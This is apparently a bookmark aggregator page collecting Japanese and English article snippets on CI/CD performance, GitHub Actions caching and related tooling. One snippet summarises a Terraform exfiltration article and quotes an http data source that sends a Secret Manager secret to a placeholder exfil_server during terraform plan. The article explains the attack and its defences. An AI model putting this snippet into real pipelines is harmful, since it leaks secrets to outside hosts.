Making EC2 boot time 8x faster
It's possible to cut EC2 boot time from 40 seconds to 5 seconds by combining several optimizations like root volume streaming, instance warm pools, and instance resizing. It is possible to increase the speed at which EC2 instances boot! This can be critical for certain types of workloads, where a fresh EC2 instance is needed to process some request or task. At Depot, we accelerate builds, so the E
GitHub Actions 上での Go の Docker ビルドを高速化する
どうも GitHub Actions 上で Docker ビルドを行うと時間がかかるなぁと感じていました。 かなり軽量の Go の Web アプリケーションを Docker イメージにしてプッシュするプロセスなのですが、全体で 3 分ほどかかっています。 今回はその速度改善を行ったので、得た知見を記事にしたいと思います。 最終的に、ケース次第では以下のような結果を出すことができました。 ※ケース = go のソースコードのほんの一部を変更してワークフローを実行する。 go.mod など依存関係に変化はない。 go build: 60秒 → 1秒 docker/build-push-action ステップ: 2分30秒 → 30秒 ワークフロー: 3分 → 1分 前提 go build は Dockerfile のステップで行っており、イメージとして以下のような内容になっています。 FROM
actions/cache@v4ではヒットしなかったときcache-hit=='false'にならない - ぽよメモ
cache-hitとは v4における挙動変更（？） cache-hitがfalseを返さない ワークアラウンド cache-hitとは GitHub Actionsのキャッシュ用actionであるactions/cacheは、指定したキーに完全一致するキャッシュがヒットしたかどうかのパラメータをそのstepのoutputとして保持している。 つまり以下の様にすることで、キャッシュがヒットしたかどうかを判定し、何かアクションするということが可能である。 jobs: run: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/cache@v4 id: cache with: path: ./cache-dir key: your-cache-key - if: steps.cache.output
LLM校正CIを自社のブログに導入してみた - NTT Communications Engineers' Blog
マネージド&セキュリティサービス部サービスプラットフォーム部門の田中です。 2023年度の下期にダブルワークという社内施策で、イノベーションセンター生成AIチームに参加しました。 その取り組みとして、本ブログの記事データを管理している GitHub リポジトリに LLM (大規模言語モデル) の1つである GPT-4 を用いた校正CIを導入してみました。 適切なプロンプトを得るための試行錯誤や、この記事自体を校正させてみた結果をお伝えします。 目次 目次 背景 LLM校正CIの詳細 プロンプトの試行錯誤 この記事の校正結果 おわりに 背景 本ブログ記事のデータ管理やレビューには GitHub を利用しています。 投稿者は記事を執筆した後 PR (Pull Request) を出し、レビュアーが PRコメントで記事の修正を提案し、推敲していきます (なお、GitHubを活用した記事公開プロセ
Next.js 製アプリケーションの CI の実行時間削減や安定性向上のために取り組んだこと - Cybozu Inside Out | サイボウズエンジニアのブログ
こんにちは！DOGO プロジェクトでソフトウェアエンジニアとして活動している @nissy_dev です。 DOGO プロジェクトでは、画面刷新を進めていく中で CI の実行時間が長く不安定になってしまい、開発生産性に大きな影響が出ていました。今回の記事では、CI の課題改善のために取り組んだことを紹介します。 目次 DOGO について CI を改善することになった背景 CI の改善のために取り組んだこと ビルド時に tsc を実行しない .next/cache を除いて、artifacts にアップデートする E2E テストをより多くの shard 数で分割する Playwright のブラウザのインストールをキャッシュする PR ではコード差分に関連するテストのみを実行する Hydration の挙動によってテストが flaky になっていた問題の解消 CI の改善の結果 今回取り組ま
デジタル社会推進標準ガイドライン｜デジタル庁
デジタル社会を実現するためには、「共通ルール」の下で関係者が協働し、価値を生み出すことが重要です。 デジタル社会推進標準ガイドライン群は、サービス・業務改革並びにこれらに伴う政府情報システムの整備及び管理についての手続・手順や、各種技術標準等に関する共通ルールや参考ドキュメントをまとめたものです。 各ドキュメントの位置づけには、次の2種類が存在します。 標準ガイドライン（Normative）：政府情報システムの整備及び管理に関するルールとして順守する内容を定めたドキュメント実践ガイドブック（Informative）：参考とするドキュメントこれまでは、「デジタル・ガバメント推進標準ガイドライン群」という名称で各種ガイドラインを策定しておりましたが、デジタル庁として政府内部だけでなく社会全体のデジタル化を推進するという観点から、これらのドキュメント体系の名称について「デジタル社会推進標準ガイド
リリース戦略を支えるCI/CDパイプライン | ドクセル
スライド概要 マイクロサービスアーキテクチャを採用したプロジェクトにおいて、複数のチームが協力してリリーストレインを進める際に、自律的かつ効率的なリリース調整を行う方法を紹介します。 リリース戦略においてマイクロサービスアーキテクチャの特性を考慮し、チーム間のコミュニケーションを最小限に抑えつつ、効率的なプロセスを実現するためのアプローチおよびそれを支えCI/CDのワークフローに触れます。 イベントページはこちら https://testnight.connpass.com/event/311263/
業務で使えるかもしれない…！？GitHub Actions の Tips 集 / CI/CD Test Night #7
https://testnight.connpass.com/event/311263/
GitHub ActionsでファイルをS3にキャッシュするアクションを作りました - プログラムモグモグ
GitHub Actionsでは依存パッケージやビルド結果などをうまくキャッシュすることで、テストやビルドの時間を短縮できます。 actions/setup-nodeやactions/setup-javaなどの各言語のオフィシャルアクションは各パッケージマネージャーのためのキャッシュ機構を提供していますし、actions/cacheを使って任意のファイルをキャッシュすることもできます。 これらは内部で@actions/cacheパッケージを使っており、キャッシュの機構はGitHub自身の機能と密に結びついています。 しかし、GitHub Actionsのキャッシュはリポジトリごとに10GBまでという制限があり、開発者の多いリポジトリではsetup-nodeのキャッシュだけでもすぐに上限に達してしまいます。 私の所属するチームのリポジトリはGitHub Enterprise Serverにホ
Bucket full of secrets – Terraform exfiltration
が面白いので要点をまとめる Terraform の CI/CD において機密情報を流出させる方法とその対策が、具体的な攻撃コードを交えて紹介されている。 結論を言うと完全な対策はない。 前提: Pull Request で terraform plan を実行する Level 1 – Let me GET your data http data source を使い、外部に secret を流出させる data "http" "example" { count = local.chunks url = "http://${var.exfil_server}/http/${data.google_secret_manager_secret_version.secret.secret_data}" }
RailsのCIのテスト実行時間を 10分から5分に高速化した話 - Findy Tech Blog
FindyでEMをしている栁沢（@nipe0324a）です。 今回は、FindyのとあるRailsのCIのテスト実行時間を10分から5分に高速化した話をご紹介します。 「CIのテスト実行時間が遅い...」 「CIの実行時間を短くしたい!!」 と感じている方はぜひご覧くださいませ。 Findyでは2024年2月現在、1人あたり1日4プルリクを平均で作っています。静的解析や自動テストなどを即時に行うCI環境がないとスピード感のある開発ができなくなるため、CIを高速で回しタスクを完了させる必要があります。機能も増え、テストケースも拡充したことでCIの高速化が求められるようになりました。 また、個人的には、CIは遅くても10分、理想は5分以内で終わるのを1つの目安にしています。これぐらいのスピード感でCIが完了すると、「プルリク作ってレビュー依頼する」、「レビューコメントもらって対応する」といった
【DeNATechCon2024】CI/CD の課題解消！ GitHub Actions への移行で可能になったこと | ドクセル
【DeNATechCon2024】CI/CD の課題解消！ GitHub Actions への移行で可能になったこと スライド概要 私たちのチームは長年、Circle CI と Jenkins を活用して CI/CD 環境を構築してきました。しかし、運用の複雑さと高コストに直面し、より効率的な方法を模索していました。この問題を解決するために、GitHub Actions への移行を決定しました。その結果、運用コストの削減と操作の簡易性を実現しました。 本登壇では、私たちが既存の CI/CD を GitHub Actions に移行する過程で直面した課題と、それらをどのように解決したか、なぜこのタイミングになったのかなどを共有します。本登壇が、同様の問題に直面しているエンジニアの皆さんに具体的な解決のヒントとなることを願っています。 ※資料内の動画は後日公開されるセッション動画でご覧いただけ
Renovate で GitHub Releases を管理対象にする方法
依存関係の更新を自動でやってくれる Renovate ですが、大体の依存関係は自動で認識してくれるもののやはり中には認識してくれない依存関係もありますよね。 自分の場合はとあるツールの GitHub Releases がそれにあたったのですが、Renovate が認識できるようにするのに少し骨が折れました。。そのため記事を残しておこうと思います。 解決したい課題・ゴール Renovate が GitHub Releases で公開されているツールを認識し、そのバージョン更新を自動でやってほしい。 例えば GitHub Actions などのCIの中で、GitHub Releases で公開されているツールを curlやwgetを使って取得する場合などがあてはまります。 - name: setup tfcmt env: TFCMT_VERSION: v3.4.1 run: | wget "h
フロントエンドのGitHub Actions実行時間を削減するために取り組んだこと | PR TIMES 開発者ブログ
こんにちは、フロントエンドエンジニアの小張です。GitHub Actionsの実行時間を削減するために取り組んだことについて紹介します。 経緯 PR TIMESではReactに関するコードを、monorepoとしてprtimes-frontendという1つのリポジトリで管理しています。 GitHub Enterprise Cloudプランでは月50,000分のGitHub Actionsを無料で実行することができますが、prtimes-frontendだけで7割近い時間を消費してしまっていました。またCIに時間がかかることで、Pull Requestを作成した後、10分近く待たないとコードレビューに回すことができず、開発効率が落ちてしまっていました。 そこで現状の使い方を見直して、billable timeの削減に取り組むことになりました。 billable time削減の改善点を探す b
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
Runner 3.0.22 Release
Ruby アプリケーションのフルテストを並列数を上げて高速化する
CI の DX とセキュリティ
New: Utilization Insights on Bitrise - Bitrise Blog
Actions Runner Controller Deep Dive
Ubicloud - GitHub Actions, 10x Cheaper
